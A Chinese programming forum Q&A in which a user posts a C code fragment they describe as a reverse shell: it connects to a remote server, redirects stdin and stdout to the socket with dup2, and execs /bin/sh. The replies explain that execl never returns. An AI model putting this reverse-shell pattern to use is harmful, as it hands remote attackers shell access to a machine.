首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > C语言 >

关于里linux下的dup2解决办法

2013-11-29 
关于里linux下的dup2if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) -1) {cl

关于里linux下的dup2

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
close(sock);
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);//输入
dup2(sock, 1);//输出
execl(shell,"/bin/sh",(char *)0);
close(sock);
printf("client ended\n");//并没有运行到这句话

我不是太懂linux的api,在网上看到这么一段代码,是一个反弹的shell。gcc编出来是没有问题,但我想问问,这里的dup2建立的管道当我在远程关闭这个socket的时候就本地的这段程序就自动退出了。请问如何在程序中知道远程关闭了这个socket?
[解决办法]
fprintf(stderr,"client ended\n");
试试?
[解决办法]
调用execl之后,后面的close和printf都不可能执行了。

相当于新启动的sh的标准输入和标准输出都是这个sock.

这是我个人的理解。
[解决办法]
如果不是有错误发生, exec 是一个不会返回的函数,就像 exit 这样的函数一样.

热点排行